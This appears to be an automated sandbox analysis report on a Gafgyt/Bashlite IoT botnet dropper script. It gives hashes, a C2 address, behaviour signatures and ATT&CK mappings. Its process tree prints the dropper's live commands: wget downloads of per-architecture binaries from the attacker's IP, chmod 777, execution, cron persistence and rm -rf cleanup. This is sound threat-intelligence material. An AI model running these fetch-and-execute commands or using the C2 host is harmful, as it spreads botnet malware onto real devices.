Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02-07-2024 05:54

General

  • Target

    qkdjdjj22.sh

  • Size

    1KB

  • MD5

    536b6c9024361ab349363a6a55c2a2b8

  • SHA1

    d0aec54b19e3e9c9cd68dafe08c4cb6525d8435a

  • SHA256

    ac40e30ea6ab94b1102940d16c575f7c87dbe6335530e37f568c4ac2d967f53d

  • SHA512

    731b4d784a0b56464dba291fd0e43ee4f99cb2457c54cb91af21ee4c339aecc204c8a9dd592ba87017657752fdcbc6d4b6856f01dbbceefebcfc27affc673954

Malware Config

Extracted

Family

gafgyt

C2

195.85.205.47:777

Signatures

  • Detected Gafgyt variant 2 IoCs
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • Executes dropped EXE 44 IoCs
  • Creates/modifies Cron job 1 TTPs 44 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Reads system routing table 1 TTPs 2 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Writes file to system bin folder 1 TTPs 1 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 45 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 56 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/qkdjdjj22.sh
    /tmp/qkdjdjj22.sh
    1⤵
      PID:1496
      • /usr/bin/wget
        wget http://195.85.205.47/qkdjdjj22.mips
        2⤵
        • Writes file to tmp directory
        PID:1497
      • /bin/chmod
        chmod 777 qkdjdjj22.mips
        2⤵
          PID:1501
        • /tmp/qkdjdjj22.mips
          ./qkdjdjj22.mips
          2⤵
            PID:1502
          • /usr/bin/wget
            wget http://195.85.205.47/qkdjdjj22.mpsl
            2⤵
            • Writes file to tmp directory
            PID:1504
          • /bin/chmod
            chmod 777 qkdjdjj22.mpsl
            2⤵
              PID:1505
            • /tmp/qkdjdjj22.mpsl
              ./qkdjdjj22.mpsl
              2⤵
                PID:1506
              • /usr/bin/wget
                wget http://195.85.205.47/qkdjdjj22.sh4
                2⤵
                • Writes file to tmp directory
                PID:1508
              • /bin/chmod
                chmod 777 qkdjdjj22.sh4
                2⤵
                  PID:1509
                • /tmp/qkdjdjj22.sh4
                  ./qkdjdjj22.sh4
                  2⤵
                    PID:1510
                  • /usr/bin/wget
                    wget http://195.85.205.47/qkdjdjj22.x86
                    2⤵
                    • Writes file to tmp directory
                    PID:1512
                  • /bin/chmod
                    chmod 777 qkdjdjj22.x86
                    2⤵
                      PID:1513
                    • /tmp/qkdjdjj22.x86
                      ./qkdjdjj22.x86
                      2⤵
                      • Creates/modifies Cron job
                      • Writes file to system bin folder
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:1514
                      • /tmp/fileJho6MR
                        ./qkdjdjj22.x86
                        3⤵
                        • Executes dropped EXE
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:1515
                        • /tmp/filevTFhk3
                          ./qkdjdjj22.x86
                          4⤵
                          • Executes dropped EXE
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:1516
                          • /tmp/filemoTV0H
                            ./qkdjdjj22.x86
                            5⤵
                            • Executes dropped EXE
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:1517
                            • /tmp/filemf5pux
                              ./qkdjdjj22.x86
                              6⤵
                              • Executes dropped EXE
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:1518
                              • /tmp/filezwRxwh
                                ./qkdjdjj22.x86
                                7⤵
                                • Executes dropped EXE
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:1519
                                • /tmp/file8FktrW
                                  ./qkdjdjj22.x86
                                  8⤵
                                  • Executes dropped EXE
                                  • Creates/modifies Cron job
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:1520
                                  • /tmp/fileg8yT9O
                                    ./qkdjdjj22.x86
                                    9⤵
                                    • Executes dropped EXE
                                    • Creates/modifies Cron job
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:1521
                                    • /tmp/filef9VCKz
                                      ./qkdjdjj22.x86
                                      10⤵
                                      • Executes dropped EXE
                                      • Creates/modifies Cron job
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:1522
                                      • /tmp/fileAwhu1d
                                        ./qkdjdjj22.x86
                                        11⤵
                                        • Executes dropped EXE
                                        • Creates/modifies Cron job
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:1523
                                        • /tmp/fileokqn75
                                          ./qkdjdjj22.x86
                                          12⤵
                                          • Executes dropped EXE
                                          • Creates/modifies Cron job
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:1524
                                          • /tmp/fileVGk0HK
                                            ./qkdjdjj22.x86
                                            13⤵
                                            • Executes dropped EXE
                                            • Creates/modifies Cron job
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:1525
                                            • /tmp/fileqcFGiv
                                              ./qkdjdjj22.x86
                                              14⤵
                                              • Executes dropped EXE
                                              • Creates/modifies Cron job
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:1526
                                              • /tmp/file2jWCUi
                                                ./qkdjdjj22.x86
                                                15⤵
                                                • Executes dropped EXE
                                                • Creates/modifies Cron job
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:1527
                                                • /tmp/fileBz8oDT
                                                  ./qkdjdjj22.x86
                                                  16⤵
                                                  • Executes dropped EXE
                                                  • Creates/modifies Cron job
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:1528
                                                  • /tmp/filenniY0H
                                                    ./qkdjdjj22.x86
                                                    17⤵
                                                    • Executes dropped EXE
                                                    • Creates/modifies Cron job
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:1529
                                                    • /tmp/fileIwkh7m
                                                      ./qkdjdjj22.x86
                                                      18⤵
                                                      • Executes dropped EXE
                                                      • Creates/modifies Cron job
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:1532
                                                      • /tmp/fileteLex4
                                                        ./qkdjdjj22.x86
                                                        19⤵
                                                        • Executes dropped EXE
                                                        • Creates/modifies Cron job
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:1533
                                                        • /tmp/filenedGUR
                                                          ./qkdjdjj22.x86
                                                          20⤵
                                                          • Executes dropped EXE
                                                          • Creates/modifies Cron job
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:1534
                                                          • /tmp/file6VXMex
                                                            ./qkdjdjj22.x86
                                                            21⤵
                                                            • Executes dropped EXE
                                                            • Creates/modifies Cron job
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:1535
                                                            • /tmp/filew50Oyk
                                                              ./qkdjdjj22.x86
                                                              22⤵
                                                              • Executes dropped EXE
                                                              • Creates/modifies Cron job
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:1536
                                                              • /tmp/fileFmjhi3
                                                                ./qkdjdjj22.x86
                                                                23⤵
                                                                • Executes dropped EXE
                                                                • Creates/modifies Cron job
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:1537
                                                                • /tmp/filewPck2K
                                                                  ./qkdjdjj22.x86
                                                                  24⤵
                                                                  • Executes dropped EXE
                                                                  • Creates/modifies Cron job
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:1538
                                                                  • /tmp/file6sOBaB
                                                                    ./qkdjdjj22.x86
                                                                    25⤵
                                                                    • Executes dropped EXE
                                                                    • Creates/modifies Cron job
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:1539
                                                                    • /tmp/filefkDICi
                                                                      ./qkdjdjj22.x86
                                                                      26⤵
                                                                      • Executes dropped EXE
                                                                      • Creates/modifies Cron job
                                                                      • Reads runtime system information
                                                                      • Writes file to tmp directory
                                                                      PID:1540
                                                                      • /tmp/file3J2Nd9
                                                                        ./qkdjdjj22.x86
                                                                        27⤵
                                                                        • Executes dropped EXE
                                                                        • Creates/modifies Cron job
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:1541
                                                                        • /tmp/fileQGbeHL
                                                                          ./qkdjdjj22.x86
                                                                          28⤵
                                                                          • Executes dropped EXE
                                                                          • Creates/modifies Cron job
                                                                          • Reads runtime system information
                                                                          • Writes file to tmp directory
                                                                          PID:1542
                                                                          • /tmp/filenoKEBq
                                                                            ./qkdjdjj22.x86
                                                                            29⤵
                                                                            • Executes dropped EXE
                                                                            • Creates/modifies Cron job
                                                                            • Reads runtime system information
                                                                            • Writes file to tmp directory
                                                                            PID:1543
                                                                            • /tmp/fileftbCGc
                                                                              ./qkdjdjj22.x86
                                                                              30⤵
                                                                              • Executes dropped EXE
                                                                              • Creates/modifies Cron job
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:1544
                                                                              • /tmp/filey8hRDP
                                                                                ./qkdjdjj22.x86
                                                                                31⤵
                                                                                • Executes dropped EXE
                                                                                • Creates/modifies Cron job
                                                                                • Reads runtime system information
                                                                                • Writes file to tmp directory
                                                                                PID:1545
                                                                                • /tmp/fileGtV1PD
                                                                                  ./qkdjdjj22.x86
                                                                                  32⤵
                                                                                  • Executes dropped EXE
                                                                                  • Creates/modifies Cron job
                                                                                  • Reads runtime system information
                                                                                  • Writes file to tmp directory
                                                                                  PID:1546
                                                                                  • /tmp/filethlCNg
                                                                                    ./qkdjdjj22.x86
                                                                                    33⤵
                                                                                    • Executes dropped EXE
                                                                                    • Creates/modifies Cron job
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:1547
                                                                                    • /tmp/fileWYbBRU
                                                                                      ./qkdjdjj22.x86
                                                                                      34⤵
                                                                                      • Executes dropped EXE
                                                                                      • Creates/modifies Cron job
                                                                                      • Reads runtime system information
                                                                                      • Writes file to tmp directory
                                                                                      PID:1548
                                                                                      • /tmp/filemSUsWJ
                                                                                        ./qkdjdjj22.x86
                                                                                        35⤵
                                                                                        • Executes dropped EXE
                                                                                        • Creates/modifies Cron job
                                                                                        • Reads runtime system information
                                                                                        • Writes file to tmp directory
                                                                                        PID:1549
                                                                                        • /tmp/fileTDRill
                                                                                          ./qkdjdjj22.x86
                                                                                          36⤵
                                                                                          • Executes dropped EXE
                                                                                          • Creates/modifies Cron job
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:1550
                                                                                          • /tmp/file3uxPvb
                                                                                            ./qkdjdjj22.x86
                                                                                            37⤵
                                                                                            • Executes dropped EXE
                                                                                            • Creates/modifies Cron job
                                                                                            • Reads runtime system information
                                                                                            • Writes file to tmp directory
                                                                                            PID:1551
                                                                                            • /tmp/fileK2GtNR
                                                                                              ./qkdjdjj22.x86
                                                                                              38⤵
                                                                                              • Executes dropped EXE
                                                                                              • Creates/modifies Cron job
                                                                                              • Reads runtime system information
                                                                                              • Writes file to tmp directory
                                                                                              PID:1552
                                                                                              • /tmp/filebjs9Px
                                                                                                ./qkdjdjj22.x86
                                                                                                39⤵
                                                                                                • Executes dropped EXE
                                                                                                • Creates/modifies Cron job
                                                                                                • Reads runtime system information
                                                                                                • Writes file to tmp directory
                                                                                                PID:1553
                                                                                                • /tmp/file19a5Kp
                                                                                                  ./qkdjdjj22.x86
                                                                                                  40⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Creates/modifies Cron job
                                                                                                  • Reads runtime system information
                                                                                                  • Writes file to tmp directory
                                                                                                  PID:1554
                                                                                                  • /tmp/filesATcHW
                                                                                                    ./qkdjdjj22.x86
                                                                                                    41⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Creates/modifies Cron job
                                                                                                    • Reads runtime system information
                                                                                                    • Writes file to tmp directory
                                                                                                    PID:1555
                                                                                                    • /tmp/fileYsSZ0F
                                                                                                      ./qkdjdjj22.x86
                                                                                                      42⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Creates/modifies Cron job
                                                                                                      • Reads runtime system information
                                                                                                      • Writes file to tmp directory
                                                                                                      PID:1556
                                                                                                      • /tmp/filevINkRc
                                                                                                        ./qkdjdjj22.x86
                                                                                                        43⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Creates/modifies Cron job
                                                                                                        • Reads runtime system information
                                                                                                        • Writes file to tmp directory
                                                                                                        PID:1557
                                                                                                        • /tmp/fileHknWj4
                                                                                                          ./qkdjdjj22.x86
                                                                                                          44⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Creates/modifies Cron job
                                                                                                          • Reads runtime system information
                                                                                                          • Writes file to tmp directory
                                                                                                          PID:1558
                                                                                                          • /tmp/file49kSUK
                                                                                                            ./qkdjdjj22.x86
                                                                                                            45⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Creates/modifies Cron job
                                                                                                            • Reads runtime system information
                                                                                                            • Writes file to tmp directory
                                                                                                            PID:1559
                                                                                                            • /tmp/filezzTlep
                                                                                                              ./qkdjdjj22.x86
                                                                                                              46⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Reads runtime system information
                                                                                                              • Writes file to tmp directory
                                                                                                              PID:1560
                    • /usr/bin/wget
                      wget http://195.85.205.47/qkdjdjj22.arm6
                      2⤵
                      • Writes file to tmp directory
                      PID:1561
                    • /bin/chmod
                      chmod 777 qkdjdjj22.arm6
                      2⤵
                        PID:1562
                      • /tmp/qkdjdjj22.arm6
                        ./qkdjdjj22.arm6
                        2⤵
                          PID:1563
                        • /usr/bin/wget
                          wget http://195.85.205.47/qkdjdjj22.x32
                          2⤵
                          • Writes file to tmp directory
                          PID:1565
                        • /bin/chmod
                          chmod 777 qkdjdjj22.x32
                          2⤵
                            PID:1566
                          • /tmp/qkdjdjj22.x32
                            ./qkdjdjj22.x32
                            2⤵
                            • Reads system routing table
                            • Reads system network configuration
                            PID:1567
                          • /usr/bin/wget
                            wget http://195.85.205.47/qkdjdjj22.ppc
                            2⤵
                            • Writes file to tmp directory
                            PID:1570
                          • /bin/chmod
                            chmod 777 qkdjdjj22.ppc
                            2⤵
                              PID:1571
                            • /tmp/qkdjdjj22.ppc
                              ./qkdjdjj22.ppc
                              2⤵
                                PID:1572
                              • /usr/bin/wget
                                wget http://195.85.205.47/qkdjdjj22.i586
                                2⤵
                                • Writes file to tmp directory
                                PID:1574
                              • /bin/chmod
                                chmod 777 qkdjdjj22.i586
                                2⤵
                                  PID:1575
                                • /tmp/qkdjdjj22.i586
                                  ./qkdjdjj22.i586
                                  2⤵
                                  • Reads system routing table
                                  • Reads system network configuration
                                  PID:1576
                                • /usr/bin/wget
                                  wget http://195.85.205.47/qkdjdjj22.m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1579
                                • /bin/chmod
                                  chmod 777 qkdjdjj22.m68k
                                  2⤵
                                    PID:1580
                                  • /tmp/qkdjdjj22.m68k
                                    ./qkdjdjj22.m68k
                                    2⤵
                                      PID:1581
                                    • /usr/bin/wget
                                      wget http://195.85.205.47/qkdjdjj22.ppc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1583
                                    • /bin/chmod
                                      chmod 777 qkdjdjj22.ppc
                                      2⤵
                                        PID:1584
                                      • /tmp/qkdjdjj22.ppc
                                        ./qkdjdjj22.ppc
                                        2⤵
                                          PID:1585
                                        • /usr/bin/wget
                                          wget http://195.85.205.47/qkdjdjj22.arm4
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1587
                                        • /bin/chmod
                                          chmod 777 qkdjdjj22.arm4
                                          2⤵
                                            PID:1588
                                          • /tmp/qkdjdjj22.arm4
                                            ./qkdjdjj22.arm4
                                            2⤵
                                              PID:1589
                                            • /usr/bin/wget
                                              wget http://195.85.205.47/qkdjdjj22.arm5
                                              2⤵
                                                PID:1591
                                              • /bin/rm
                                                rm -rf qkdjdjj22.arm4 qkdjdjj22.arm6 qkdjdjj22.i586 qkdjdjj22.m68k qkdjdjj22.mips qkdjdjj22.mpsl qkdjdjj22.ppc qkdjdjj22.ppc.1 qkdjdjj22.sh qkdjdjj22.sh4 qkdjdjj22.x32 qkdjdjj22.x86
                                                2⤵
                                                  PID:1592

                                              Network

                                              MITRE ATT&CK Matrix ATT&CK v13

                                              Execution

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Persistence

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Hijack Execution Flow

                                              1
                                              T1574

                                              Privilege Escalation

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Hijack Execution Flow

                                              1
                                              T1574

                                              Defense Evasion

                                              Hijack Execution Flow

                                              1
                                              T1574

                                              Discovery

                                              System Network Configuration Discovery

                                              2
                                              T1016

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • /etc/cron.hourly/0
                                                Filesize

                                                92B

                                                MD5

                                                3f006f7f81fc17be7f4a0d3da0fad5de

                                                SHA1

                                                97a94d3d0654c6551057af3809b52572bd7f9f5d

                                                SHA256

                                                982f9e0f089b91ba79df723435099df15c72e1201a45010ee60226ab136c93bf

                                                SHA512

                                                97d2ac0057427b940ada7c0fc805c1966e2535c3c3767ca85fef4a7e0fdc9d4ef9eb133530408b1e439df067881cb317e948ad9bfd487e958a04c97d9db978e0

                                              • /tmp/fileJho6MR
                                                Filesize

                                                155KB

                                                MD5

                                                d7c06cd80f877b3697b829ee12851d5d

                                                SHA1

                                                977a6258d47f140effe07e1b1d6a93ea161ad138

                                                SHA256

                                                4fedb406cadc190c90b552b01e5cb1891568db837cccd121fa9965223d21bc22

                                                SHA512

                                                19f524abef2e7ffd9908ef34459c6388780e30d69499315a1b70362441ab897af1158bd14c0133d3be8bb27381787c6062f55e8d99be06ee93736cbba535d295

                                              • /tmp/fileJho6MR
                                                Filesize

                                                163KB

                                                MD5

                                                6f344240f3686c40e24f9bb30af5bd93

                                                SHA1

                                                f3b470c47d9a74c91097836be07f7fc51fd977d6

                                                SHA256

                                                c1d8a7ed1e88ccc6ac4bd7002b2f9279031c82f45bf8e6f33aaa87602b1d8365

                                                SHA512

                                                187ac80956d59e6d5ef0d5b43a4c6c2faf94a4734e834f475421da103b4542571d6928bbbf3a8da0349578985bfefd3175fc908d8a1778f2b6311bb1fe7a1c39